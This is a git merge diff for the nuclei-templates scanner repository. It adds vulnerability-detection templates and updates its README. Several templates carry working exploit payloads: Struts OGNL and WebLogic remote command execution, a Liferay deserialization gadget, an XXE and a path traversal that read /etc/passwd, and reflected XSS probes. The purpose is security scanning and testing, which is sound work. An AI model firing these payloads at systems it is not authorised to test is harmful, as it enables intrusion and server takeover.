Merge pull request #606 from CasperGN/cve-2020-26214

Add cve-2020-26214 detection

.nuclei-ignore

@@ -3,5 +3,9 @@ security-misconfiguration/missing-x-frame-options.yaml
 security-misconfiguration/missing-hsts.yaml
 security-misconfiguration/missing-csp.yaml
 security-misconfiguration/basic-cors-flash.yaml
+cves/CVE-2017-7529.yaml
+cves/CVE-2020-13379.yaml
+cves/CVE-2013-2251.yaml
+vulnerabilities/x-forwarded-host-injection.yaml
 fuzzing/
-workflows/
+workflows/

README.md

@@ -10,7 +10,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 
 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
 
-### nuclei templates `v7.1.2`
+### nuclei templates `v7.2.0`
 
 | Template Directory      	| Number of Templates      |
 |---------------------------|--------------------------|
@@ -28,7 +28,7 @@ An overview of the nuclei template directory including number of templates and H
 | vulnerabilities           |33          			   |
 | workflows                 |15              		   |
 
-### nuclei templates `v7.1.2` tree overview 
+### nuclei templates `v7.2.0` tree overview 
 
 <details>
 <summary>Template Directory</summary>
@@ -36,6 +36,7 @@ An overview of the nuclei template directory including number of templates and H
 ```
 ├── cves
 │   ├── CVE-2005-2428.yaml
+│   ├── CVE-2013-2251.yaml
 │   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
 │   ├── CVE-2017-11444.yaml
@@ -43,7 +44,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2017-14849.yaml
 │   ├── CVE-2017-5638.yaml
 │   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7529.yaml
 │   ├── CVE-2017-7615.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
@@ -96,6 +96,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-19781.yaml
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-20141.yaml
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
@@ -118,16 +119,15 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13379.yaml
 │   ├── CVE-2020-14179.yaml
 │   ├── CVE-2020-14181.yaml
 │   ├── CVE-2020-15129.yaml
 │   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
 │   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
-│   ├── CVE-2020-2034.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
 │   ├── CVE-2020-24223.yaml
@@ -155,6 +155,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9047.yaml
+│   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
 │   ├── CVE-2020-9757.yaml
@@ -179,6 +180,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── drupal-install.yaml
 │   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── elmah-log-file.yaml
 │   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
@@ -190,6 +192,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
+│   ├── magento-config.yaml
 │   ├── ntlm-directories.yaml
 │   ├── php-errors.yaml
 │   ├── phpinfo.yaml
@@ -216,7 +219,8 @@ An overview of the nuclei template directory including number of templates and H
 │   └── zip-backup-files.yaml
 ├── fuzzing
 │   ├── arbitrary-file-read.yaml
-│   └── directory-traversal.yaml
+│   ├── directory-traversal.yaml
+│   └── generic-lfi-fuzzing.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
@@ -238,12 +242,11 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
+│   ├── manage-engine-admanager-panel.yaml
 │   ├── mobileiron-login.yaml
-│   ├── mongo-express-web-gui.yaml
 │   ├── netscaler-gateway.yaml
 │   ├── network-camera-detect.yaml
 │   ├── parallels-html-client.yaml
-│   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
@@ -251,16 +254,18 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
 │   ├── sonarqube-login.yaml
+│   ├── sonicwall-management-panel.yaml
+│   ├── sonicwall-sslvpn-panel.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
-│   ├── traefik-dashboard
 │   ├── traefik-dashboard.yaml
 │   ├── virtual-ema-detect.yaml
 │   ├── weave-scope-dashboard-detect.yaml
 │   ├── webeditors.yaml
-│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
+│   ├── workspace-one-uem.yaml
+│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
 ├── payloads
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
@@ -278,11 +283,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jira-unauthenticated-user-picker.yaml
 │   ├── jupyter-ipython-unauth.yaml
 │   ├── larvel-debug.yaml
+│   ├── manage-engine-ad-search.yaml
 │   ├── missing-csp.yaml
 │   ├── missing-hsts.yaml
 │   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
+│   ├── salesforce-aura-misconfig.yaml
 │   ├── sidekiq-dashboard.yaml
 │   ├── springboot-detect.yaml
 │   ├── unauthenticated-airflow.yaml
@@ -303,10 +310,12 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
+│   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
@@ -314,6 +323,8 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── nifi-detech.yaml
+│   ├── oidc-detect.yaml
+│   ├── pi-hole-detect.yaml
 │   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
@@ -323,10 +334,9 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
 │   ├── tomcat-detect.yaml
+│   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
-│   ├── werkzeug-debugger-detect.yaml
-│   └── what-waf-detect.yaml
-├── test.yaml
+│   └── werkzeug-debugger-detect.yaml
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
@@ -337,7 +347,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mailchimp-api-key.yaml
 │   └── slack-access-token.yaml
 ├── vulnerabilities
-│   ├── Symantec-Messaging-Gateway.yaml
 │   ├── bullwark-momentum-series-directory-traversal.yaml
 │   ├── cached-aem-pages.yaml
 │   ├── couchdb-adminparty.yaml
@@ -356,20 +365,26 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── rconfig-rce.yaml
+│   ├── sassy-social-share.yaml
 │   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
 │   ├── springboot-h2-db-rce.yaml
+│   ├── symantec-messaging-gateway.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── vmware-vcenter-lfi.yaml
+│   ├── vpms-auth-bypass.yaml
 │   ├── w3c-total-cache-ssrf.yaml
 │   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
 │   ├── wordpress-emails-verification-for-woocommerce.yaml
 │   ├── wordpress-social-metrics-tracker.yaml
 │   ├── wordpress-wordfence-xss.yaml
-│   └── x-forwarded-host-injection.yaml
+│   ├── wordpress-wpcourses-info-disclosure.yaml
+│   └── zms-auth-bypass.yaml
 └── workflows
     ├── artica-web-proxy-workflow.yaml
     ├── bigip-pwner-workflow.yaml
@@ -390,7 +405,7 @@ An overview of the nuclei template directory including number of templates and H
 
 </details>
 
-14 directories, **338 templates**. 
+14 directories, **352 templates**. 
 
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 

cves/CVE-2013-2251.yaml

@@ -0,0 +1,25 @@
+id: cve-2013-2251
+
+info:
+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "uid="
+        condition: and
+        part: body

cves/CVE-2018-19386.yaml

@@ -10,7 +10,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.cookie)%2f%2f"
+      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"
 
     matchers-condition: and
     matchers:
@@ -19,4 +19,4 @@ requests:
           - 200
       - type: word
         words:
-          - 'javascript:alert(document.cookie)//'
+          - '<a href="javascript:alert(document.domain)//'

cves/CVE-2019-20141.yaml

@@ -0,0 +1,20 @@
+id: cve-2019-20141
+
+info:
+  name: Neon Dashboard - XSS Reflected
+  author: knassar702
+  severity: medium
+  description: |
+    An XSS issue was discovered in the Laborator Neon theme 2.0 for WordPress via the data/autosuggest-remote.php q parameter.
+    Source/References:
+    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+    matchers:
+      - type: word
+        words:
+          - "<img src=x onerror=alert(1)>"
+        part: body

cves/CVE-2019-3402.yaml

@@ -0,0 +1,24 @@
+id: cve-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+
+  # Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body

cves/CVE-2019-9670.yaml

@@ -0,0 +1,31 @@
+id: cve-2019-9670
+
+info:
+  name: Zimbra Collaboration XXE
+  description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
+  author: ree4pwn
+  severity: critical
+
+requests:
+  - raw:
+      - |
+        POST /Autodiscover/Autodiscover.xml HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+
+        <!DOCTYPE xxe [
+        <!ELEMENT name ANY >
+        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
+        <Request>
+        <EMailAddress>aaaaa</EMailAddress>
+        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
+        </Request>
+        </Autodiscover>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body

cves/CVE-2020-14864.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-14864
+info:
+  name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  author: Ivo Palazzolo (@palaziv)
+  # cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
+  severity: high
+requests:
+  - method: GET
+    headers:
+      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+    path:
+      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
+      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body

cves/CVE-2020-14882.yaml

@@ -0,0 +1,46 @@
+id: cve-2020-14882
+
+info:
+  name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Vulnerability in the Oracle WebLogic Server
+    product of Oracle Fusion Middleware (component: Console).
+    Supported versions that are affected are 10.3.6.0.0,
+    12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
+    Easily exploitable vulnerability allows unauthenticated
+    attacker with network access via HTTP to compromise the server.
+    Successful attacks of this vulnerability can result in takeover.
+
+  # References:
+  # - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
+  # - https://twitter.com/jas502n/status/1321416053050667009
+  # - https://youtu.be/JFVDOIL0YtA
+  # - https://github.com/jas502n/CVE-2020-14882#eg
+
+requests:
+  - payloads:
+      exec:
+        - "type C:\\Windows\\win.ini"  # Windows
+        - "cat /etc/passwd"  # *nix
+    raw:
+      - |
+        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
+        Host: {{Hostname}}
+        cmd: exec
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded; charset=utf-8
+
+        _nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-16952.yaml

@@ -0,0 +1,36 @@
+id: cve-2020-16952
+
+info:
+  name: Microsoft SharePoint Server-Side Include (SSI) and ViewState RCE
+  author: dwisiswant0
+  severity: critical
+
+  # This template supports the detection part only. See references[2].
+  # References:
+  # - [1] Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16952
+  # - [2] https://srcincite.io/pocs/cve-2020-16952.py.txt
+  # - [3] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952
+  # - [4] https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "15\\.0\\.0\\.(4571|5275|4351|5056)"
+          - "16\\.0\\.0\\.(10337|10364|10366)"
+          # - "16.0.10364.20001"
+        condition: or
+        part: body
+      - type: word
+        words:
+          - "MicrosoftSharePointTeamServices"
+        part: header
+      - type: status
+        status:
+          - 200
+          - 201
+        condition: or

cves/CVE-2020-26214.yaml

@@ -0,0 +1,34 @@
+id: cve-2020-26214
+info:
+
+  name: Alerta Authentication Bypass (CVE-2020-26214)
+  author: CasperGN
+  severity: critical
+  description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
+
+  # Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
+  # Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/api/config'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+        condition: or
+    extractors:
+      - type: regex
+        part: body
+        name: alerta-version
+        group: 1
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'

cves/CVE-2020-7961.yaml

@@ -41,11 +41,11 @@ requests:
         cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
     matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "Microsoft Corporation"
-          - "Distributor ID"
-          - "kern.ostype"
+      - type: regex
+        regex:
+          - "OS Name:.*Microsoft Windows"
+          - "Distributor ID:"
+          - "kern\\.ostype"
         condition: or
         part: body
       - type: status
@@ -56,5 +56,5 @@ requests:
         part: body
         regex:
           - "Microsoft Windows (.*)"
-          - "kern.ostype: (.*)"
+          - "kern\\.ostype: (.*)"
           - "Distributor ID: (.*)"

cves/CVE-2020-9344.yaml

@@ -0,0 +1,29 @@
+id: cve-2020-9344
+
+info:
+  name: Jira Subversion ALM for enterprise XSS
+  author: madrobot
+  severity: medium
+  description: Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations.
+
+# source:- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9344
+# https://kintosoft.atlassian.net/wiki/spaces/SVNALM/pages/753565697/Security+Bulletin
+# https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-007.txt
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test'
+      - '{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<script>alert(document.domain)</script>"
+        part: body
+      - type: status
+        status:
+          - 200

files/elmah-log-file.yaml

@@ -0,0 +1,22 @@
+id: elmah-log-file
+
+info:
+  name: elmah.axd Disclosure
+  author: shine
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/elmah.axd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - 'Error Log for'
+
+      - type: status
+        status:
+          - 200

files/exposed-svn.yaml

@@ -11,6 +11,7 @@ requests:
       - "{{BaseURL}}/.svn/entries"
       - "{{BaseURL}}/.svn/prop-base/"
       - "{{BaseURL}}/.svn/text-base/"
+
     matchers-condition: and
     matchers:
       - type: regex
@@ -20,3 +21,7 @@ requests:
       - type: status
         status:
           - 200
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'

files/git-config.yaml

@@ -19,7 +19,12 @@ requests:
         Content-Length: 1
         Connection: close
 
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "[core]"
+          - "[core]"
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'

files/magento-config.yaml

@@ -0,0 +1,27 @@
+id: magento-config
+info:
